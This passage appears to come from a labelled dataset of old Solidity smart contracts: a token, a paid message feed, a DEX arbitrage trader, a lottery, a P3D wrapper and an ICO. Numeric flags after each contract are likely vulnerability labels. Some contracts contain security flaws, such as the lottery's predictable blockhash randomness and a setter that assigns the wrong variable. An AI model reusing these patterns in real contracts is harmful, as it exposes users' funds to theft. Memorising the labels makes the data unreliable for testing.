mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
if(_to == address(this)) {
balances[owner] = balances[owner].add(_value);
Transfer(msg.sender, owner, _value);
}
else {
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
}
function balanceOf(address _owner) constant public returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
allowed[_from][msg.sender] = _allowance.sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public {
assert(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant public returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract HodlReligion is StandardToken {
string public constant name = "HODL Religion Token";
string public constant symbol = "HODL";
uint public constant decimals = 18;
uint public minted = 0;
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function HodlReligion() public {
owner = msg.sender;
totalSupply = 200000000 * 10**18;
}
function () payable external {
require(minted <= totalSupply);
if(msg.value > 0){
balances[msg.sender] += 10 ** 18;
minted += 10 ** 18;
Transfer(0x0000000000000000000000000000000000000000, msg.sender, 10 ** 18);
}
}
function getFund() external onlyOwner {
owner.transfer(this.balance);
}
} | 1 | 5,519 |
pragma solidity ^0.4.13;
contract Owned {
address public Owner;
function Owned() internal {
Owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == Owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
Owner = newOwner;
}
}
contract Feed is Owned {
uint public basePrice=0.005 ether;
uint public k=1;
uint public showInterval=15;
uint public totalMessages=0;
struct Message
{
string content;
uint date;
address sender;
uint price;
uint show_date;
uint rejected;
string rejected_reason;
}
mapping (uint => Message) public messageInfo;
event Transfer(address indexed from, address indexed to, uint256 value);
function Feed() {
}
function() public payable {
submitMessage("");
}
function queueCount() public returns (uint _count) {
_count=0;
for (uint i=totalMessages; i>0; i--) {
if (messageInfo[i].show_date<(now-showInterval) && messageInfo[i].rejected==0) return _count;
if (messageInfo[i].rejected==0) _count++;
}
return _count;
}
function currentMessage(uint _now) public returns ( uint _message_id, string _content, uint _show_date,uint _show_interval,uint _serverTime) {
require(totalMessages>0);
if (_now==0) _now=now;
for (uint i=totalMessages; i>0; i--) {
if (messageInfo[i].show_date>=(_now-showInterval) && messageInfo[i].show_date<_now && messageInfo[i].rejected==0) {
if (messageInfo[i+1].show_date>0) _show_interval=messageInfo[i+1].show_date-messageInfo[i].show_date; else _show_interval=showInterval;
return (i,messageInfo[i].content,messageInfo[i].show_date,_show_interval,_now);
}
if (messageInfo[i].show_date<(_now-showInterval)) throw;
}
throw;
}
function submitMessage(string _content) payable public returns(uint _message_id, uint _message_price, uint _queueCount) {
require(msg.value>0);
if (bytes(_content).length<1 || bytes(_content).length>150) throw;
uint total=queueCount();
uint _last_Show_data=messageInfo[totalMessages].show_date;
if (_last_Show_data==0) _last_Show_data=now+showInterval*2; else {
if (_last_Show_data<(now-showInterval)) {
_last_Show_data=_last_Show_data+(((now-_last_Show_data)/showInterval)+1)*showInterval;
} else _last_Show_data=_last_Show_data+showInterval;
}
uint message_price=basePrice+basePrice*total*k;
require(msg.value>=message_price);
totalMessages++;
messageInfo[totalMessages].date=now;
messageInfo[totalMessages].sender=msg.sender;
messageInfo[totalMessages].content=_content;
messageInfo[totalMessages].price=message_price;
messageInfo[totalMessages].show_date=_last_Show_data;
if (msg.value>message_price) {
uint cashback=msg.value-message_price;
sendMoney(msg.sender,cashback);
}
return (totalMessages,message_price,(total+1));
}
function sendMoney(address _address, uint _amount) internal {
require(this.balance >= _amount);
if (_address.send(_amount)) {
Transfer(this,_address, _amount);
}
}
function withdrawBenefit(address _address, uint _amount) onlyOwner public {
sendMoney(_address,_amount);
}
function setBasePrice(uint _newprice) onlyOwner public returns(uint _basePrice) {
require(_newprice>0);
basePrice=_newprice;
return basePrice;
}
function setShowInterval(uint _newinterval) onlyOwner public returns(uint _showInterval) {
require(_newinterval>0);
showInterval=_showInterval;
return showInterval;
}
function setPriceCoeff(uint _new_k) onlyOwner public returns(uint _k) {
require(_new_k>0);
k=_new_k;
return k;
}
function rejectMessage(uint _message_id, string _reason) onlyOwner public returns(uint _amount) {
require(_message_id>0);
require(bytes(messageInfo[_message_id].content).length > 0);
require(messageInfo[_message_id].rejected==0);
if (messageInfo[_message_id].show_date>=(now-showInterval) && messageInfo[_message_id].show_date<=now) throw;
messageInfo[_message_id].rejected=1;
messageInfo[_message_id].rejected_reason=_reason;
if (messageInfo[_message_id].sender!= 0x0 && messageInfo[_message_id].price>0) {
sendMoney(messageInfo[_message_id].sender,messageInfo[_message_id].price);
return messageInfo[_message_id].price;
} else throw;
}
} | 0 | 760 |
pragma solidity >=0.4.26;
contract UniswapExchangeInterface {
function tokenAddress() external view returns (address token);
function factoryAddress() external view returns (address factory);
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function setup(address token_addr) external;
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
function swapEtherToToken(ERC20 token, uint minRate) public payable returns (uint);
function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) public returns (uint);
}
interface OrFeedInterface {
function getExchangeRate ( string fromSymbol, string toSymbol, string venue, uint256 amount ) external view returns ( uint256 );
function getTokenDecimalCount ( address tokenAddress ) external view returns ( uint256 );
function getTokenAddress ( string symbol ) external view returns ( address );
function getSynthBytes32 ( string symbol ) external view returns ( bytes32 );
function getForexAddress ( string symbol ) external view returns ( address );
}
contract Trader{
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
KyberNetworkProxyInterface public proxy = KyberNetworkProxyInterface(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
OrFeedInterface orfeed= OrFeedInterface(0x8316b082621cfedab95bf4a44a1d4b64a6ffc336);
address daiAddress = 0x89d24a6b4ccb1b6faa2625fe562bdd9a23260359;
bytes PERM_HINT = "PERM";
address owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
constructor(){
owner = msg.sender;
}
function swapEtherToToken (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, address destAddress) internal{
uint minRate;
(, minRate) = _kyberNetworkProxy.getExpectedRate(ETH_TOKEN_ADDRESS, token, msg.value);
uint destAmount = _kyberNetworkProxy.swapEtherToToken.value(msg.value)(token, minRate);
require(token.transfer(destAddress, destAmount));
}
function swapTokenToEther1 (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, uint tokenQty, address destAddress) internal returns (uint) {
uint minRate =1;
token.transferFrom(msg.sender, this, tokenQty);
token.approve(proxy, 0);
token.approve(address(proxy), tokenQty);
uint destAmount = proxy.tradeWithHint(ERC20(daiAddress), tokenQty, ERC20(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee), this, 8000000000000000000000000000000000000000000000000000000000000000, 0, 0x0000000000000000000000000000000000000004, PERM_HINT);
return destAmount;
}
function kyberToUniSwapArb(address fromAddress, address uniSwapContract, uint theAmount) public payable onlyOwner returns (bool){
address theAddress = uniSwapContract;
UniswapExchangeInterface usi = UniswapExchangeInterface(theAddress);
ERC20 address1 = ERC20(fromAddress);
uint ethBack = swapTokenToEther1(proxy, address1 , theAmount, msg.sender);
usi.ethToTokenSwapInput.value(ethBack)(1, block.timestamp);
return true;
}
function () external payable {
}
function withdrawETHAndTokens() onlyOwner{
msg.sender.send(address(this).balance);
ERC20 daiToken = ERC20(daiAddress);
uint256 currentTokenBalance = daiToken.balanceOf(this);
daiToken.transfer(msg.sender, currentTokenBalance);
}
function getKyberSellPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "SELL-KYBER-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getUniswapBuyPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "BUY-UNISWAP-EXCHANGE", 1000000000000000000);
return currentPrice;
}
} | 0 | 1,906 |
pragma solidity ^0.5.1;
contract SmartLotto {
using SafeMath for uint;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address payable addr;
uint ticket;
uint8[5] numbers;
uint8 matchNumbers;
uint prize;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 12;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match);
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
return;
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
return;
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
return;
}
function startGame() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(weekday == 3 && hour == 16) {
if(games[GAME_NUM].status == 1) {
processGame();
}
} else {
games[GAME_NUM].status = 1;
}
}
return;
}
function processGame() private {
uint8 mn = 0;
uint winners5 = 0;
uint winners4 = 0;
uint winners3 = 0;
uint winners2 = 0;
uint fund4 = 0;
uint fund3 = 0;
uint fund2 = 0;
for(uint8 i = 0; i < 5; i++) {
games[GAME_NUM].win_numbers[i] = random(i);
}
games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) {
games[GAME_NUM].win_numbers[j]++;
}
}
}
uint8[5] memory win_numbers;
win_numbers = games[GAME_NUM].win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
if(games[GAME_NUM].membersCounter > 0) {
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers);
games[GAME_NUM].members[i].matchNumbers = mn;
if(mn == 5) {
winners5++;
}
if(mn == 4) {
winners4++;
}
if(mn == 3) {
winners3++;
}
if(mn == 2) {
winners2++;
}
}
JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100;
fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100;
fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100;
fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100;
if(winners4 == 0) {
JACKPOT = JACKPOT + fund4;
}
if(winners3 == 0) {
JACKPOT = JACKPOT + fund3;
}
if(winners2 == 0) {
JACKPOT = JACKPOT + fund2;
}
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
if(games[GAME_NUM].members[i].matchNumbers == 5) {
games[GAME_NUM].members[i].prize = JACKPOT / winners5;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5);
}
if(games[GAME_NUM].members[i].matchNumbers == 4) {
games[GAME_NUM].members[i].prize = fund4 / winners4;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4);
}
if(games[GAME_NUM].members[i].matchNumbers == 3) {
games[GAME_NUM].members[i].prize = fund3 / winners3;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3);
}
if(games[GAME_NUM].members[i].matchNumbers == 2) {
games[GAME_NUM].members[i].prize = fund2 / winners2;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2);
}
if(games[GAME_NUM].members[i].matchNumbers == 1) {
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1);
}
}
if(winners5 != 0) {
JACKPOT = 0;
start_jackpot_amount = 0;
}
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 0;
emit NewGame(GAME_NUM);
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
return;
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && games[GAME_NUM].status == 1 ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(!err) {
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
games[GAME_NUM].members[mbrCnt].matchNumbers = 0;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length-1; i++) {
for(uint8 j = i+1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) {
Game memory game = games[i];
return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,042 |
pragma solidity ^0.4.24;
interface HourglassInterface {
function buy(address _playerAddress) payable external returns(uint256);
function withdraw() external;
function balanceOf(address _customerAddress) view external returns(uint256);
}
interface StrongHandsManagerInterface {
function mint(address _owner, uint256 _amount) external;
}
contract StrongHandsManager {
event CreateStrongHand(address indexed owner, address indexed strongHand);
event MintToken(address indexed owner, uint256 indexed amount);
mapping (address => address) public strongHands;
mapping (address => uint256) public ownerToBalance;
string public constant name = "Stronghands3D";
string public constant symbol = "S3D";
uint8 public constant decimals = 18;
uint256 internal tokenSupply = 0;
function getStrong()
public
{
require(strongHands[msg.sender] == address(0), "you already became a Stronghand");
strongHands[msg.sender] = new StrongHand(msg.sender);
emit CreateStrongHand(msg.sender, strongHands[msg.sender]);
}
function mint(address _owner, uint256 _amount)
external
{
require(strongHands[_owner] == msg.sender);
tokenSupply+= _amount;
ownerToBalance[_owner]+= _amount;
emit MintToken(_owner, _amount);
}
function totalSupply()
public
view
returns (uint256)
{
return tokenSupply;
}
function balanceOf(address _owner)
public
view
returns (uint256)
{
return ownerToBalance[_owner];
}
}
contract StrongHand {
HourglassInterface constant p3dContract = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
StrongHandsManagerInterface strongHandManager;
address public owner;
uint256 private p3dBalance = 0;
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
constructor(address _owner)
public
{
owner = _owner;
strongHandManager = StrongHandsManagerInterface(msg.sender);
}
function() public payable {}
function buy(address _referrer)
external
payable
onlyOwner
{
purchase(msg.value, _referrer);
}
function purchase(uint256 _amount, address _referrer)
private
{
p3dContract.buy.value(_amount)(_referrer);
uint256 balance = p3dContract.balanceOf(address(this));
uint256 diff = balance - p3dBalance;
p3dBalance = balance;
strongHandManager.mint(owner, diff);
}
function withdraw()
external
onlyOwner
{
p3dContract.withdraw();
owner.transfer(address(this).balance);
}
} | 1 | 3,823 |
pragma solidity ^0.4.15;
contract ElcoinICO {
uint256 public constant tokensPerEth = 300;
uint256 public constant tokenLimit = 60 * 1e6 * 1e18;
uint256 public constant tokensForSale = tokenLimit * 50 / 100;
uint256 public presaleSold = 0;
uint256 public startTime = 1511038800;
uint256 public endTime = 1517778000;
event RunIco();
event PauseIco();
event FinishIco(address team, address foundation, address advisors, address bounty);
ELC public elc;
address public team;
modifier teamOnly { require(msg.sender == team); _; }
enum IcoState { Presale, Running, Paused, Finished }
IcoState public icoState = IcoState.Presale;
function ElcoinICO(address _team) public {
team = _team;
elc = new ELC(this, tokenLimit);
}
function() external payable {
buyFor(msg.sender);
}
function buyFor(address _investor) public payable {
require(icoState == IcoState.Running);
require(msg.value > 0);
buy(_investor, msg.value);
}
function getPresaleTotal(uint256 _value) public constant returns (uint256) {
if(_value < 10 ether) {
return _value * tokensPerEth;
}
if(_value >= 10 ether && _value < 100 ether) {
return calcPresaleDiscount(_value, 3);
}
if(_value >= 100 ether && _value < 1000 ether) {
return calcPresaleDiscount(_value, 5);
}
if(_value >= 1000 ether) {
return calcPresaleDiscount(_value, 10);
}
}
function getTimeBonus(uint time) public constant returns (uint) {
if (time < startTime + 1 weeks) return 200;
if (time < startTime + 2 weeks) return 150;
if (time < startTime + 3 weeks) return 100;
if (time < startTime + 4 weeks) return 50;
return 0;
}
function getTotal(uint256 _value) public constant returns (uint256) {
uint256 _elcValue = _value * tokensPerEth;
uint256 _bonus = getBonus(_elcValue, elc.totalSupply() - presaleSold);
return _elcValue + _bonus;
}
function getBonus(uint256 _elcValue, uint256 _sold) public constant returns (uint256) {
uint256[8] memory _bonusPattern = [ uint256(150), 130, 110, 90, 70, 50, 30, 10 ];
uint256 _step = (tokensForSale - presaleSold) / 10;
uint256 _bonus = 0;
for(uint8 i = 0; i < _bonusPattern.length; ++i) {
uint256 _min = _step * i;
uint256 _max = _step * (i + 1);
if(_sold >= _min && _sold < _max) {
uint256 _bonusPart = min(_elcValue, _max - _sold);
_bonus += _bonusPart * _bonusPattern[i] / 1000;
_elcValue -= _bonusPart;
_sold += _bonusPart;
}
}
return _bonus;
}
function mintForEarlyInvestors(address[] _investors, uint256[] _values) external teamOnly {
require(_investors.length == _values.length);
for (uint256 i = 0; i < _investors.length; ++i) {
mintPresaleTokens(_investors[i], _values[i]);
}
}
function mintFor(address _investor, uint256 _elcValue) external teamOnly {
require(icoState != IcoState.Finished);
require(elc.totalSupply() + _elcValue <= tokensForSale);
elc.mint(_investor, _elcValue);
}
function withdrawEther(uint256 _value) external teamOnly {
team.transfer(_value);
}
function withdrawToken(address _tokenContract, uint256 _value) external teamOnly {
ERC20 _token = ERC20(_tokenContract);
_token.transfer(team, _value);
}
function withdrawTokenFromElc(address _tokenContract, uint256 _value) external teamOnly {
elc.withdrawToken(_tokenContract, team, _value);
}
function startIco() external teamOnly {
require(icoState == IcoState.Presale || icoState == IcoState.Paused);
icoState = IcoState.Running;
RunIco();
}
function pauseIco() external teamOnly {
require(icoState == IcoState.Running);
icoState = IcoState.Paused;
PauseIco();
}
function finishIco(address _team, address _foundation, address _advisors, address _bounty) external teamOnly {
require(icoState == IcoState.Running || icoState == IcoState.Paused);
icoState = IcoState.Finished;
uint256 _teamFund = elc.totalSupply() * 2 / 2;
uint256 _den = 10000;
elc.mint(_team, _teamFund * 4000 / _den);
elc.mint(_foundation, _teamFund * 4000 / _den);
elc.mint(_advisors, _teamFund * 1000 / _den);
elc.mint(_bounty, _teamFund * 1000 / _den);
elc.defrost();
FinishIco(_team, _foundation, _advisors, _bounty);
}
function mintPresaleTokens(address _investor, uint256 _value) internal {
require(icoState == IcoState.Presale);
require(_value > 0);
uint256 _elcValue = getPresaleTotal(_value);
uint256 timeBonusAmount = _elcValue * getTimeBonus(now) / 1000;
_elcValue += timeBonusAmount;
require(elc.totalSupply() + _elcValue <= tokensForSale);
elc.mint(_investor, _elcValue);
presaleSold += _elcValue;
}
function calcPresaleDiscount(uint256 _value, uint256 _percent) internal constant returns (uint256) {
return _value * tokensPerEth * 100 / (100 - _percent);
}
function min(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function buy(address _investor, uint256 _value) internal {
uint256 _total = getTotal(_value);
require(elc.totalSupply() + _total <= tokensForSale);
elc.mint(_investor, _total);
}
}
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
